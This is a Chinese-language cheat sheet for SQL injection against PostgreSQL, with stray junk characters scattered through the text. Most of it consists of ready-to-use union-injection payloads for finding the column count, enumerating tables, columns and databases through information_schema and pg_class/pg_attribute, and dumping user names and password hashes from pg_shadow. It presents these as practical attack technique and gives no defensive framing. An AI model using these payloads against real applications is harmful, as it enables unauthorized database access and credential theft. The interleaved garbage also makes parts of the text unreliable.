结合了MSSQL MySQL Oracle的一些特点
7 `+ z" J* E8 j9 _支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
% z3 I/ J$ z6 T; t, T连接符: %20 , + , /**/ 内置函数:5 `( |# o) m% h/ s: V
current_database() //当前数据库名6 R: T2 P+ ~2 s+ z! R& }
session_user //会话用户% ^! c( U# _ _/ L. ]
current_user //当前数据库用户" K5 n3 E2 H" z, t0 N0 k$ C
user //当前用户) X, v: y1 K' e! d% @
version() //数据库版本 Union注射:
| B& @, F9 X5 f% L! o. P9 [order by n–
1 D7 J( j S9 @* Q( hand 1=2 union select null,null,null–
5 S2 I( t {+ Xand 1=2 union select ‘beach’,null,null–# J' v# I5 X2 Z6 l) ?6 n
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
& \% G! W& E8 d: M7 v0 Fgroup_concat(table_name)" O/ q: F3 e8 I4 ^5 @# {$ i; @9 _
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
( }3 Q' c( G* qand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–$ A9 m ^% ?* f- a. s5 h, q
(老版本)
5 X( n* C/ {1 b) |& C5 P; spg_class.oid对应pg_attribute.attrelid; e" Z* w: C* d z1 `. o+ w
pg_class.relname表名
# y' p3 G7 @: x8 C' opg_attribute.attname字段名 select relname from pg_class获取表名
. ?1 j7 i0 u2 [: @ s$ lselect oid from pg_class where 条件 获取参数+ J* [% r- W7 C+ d% [
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
' |' o( y. `5 h U" O/ g3 Zand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
" h/ S) T' L/ J) W& Xand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
+ [! R) Y4 B/ I8 Y) j; G由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名& n3 F, f- l" c: A( P
======================================================================# v! s) X9 i) A0 a7 h
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库- o2 J8 i/ m. Q5 d! [# Z
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |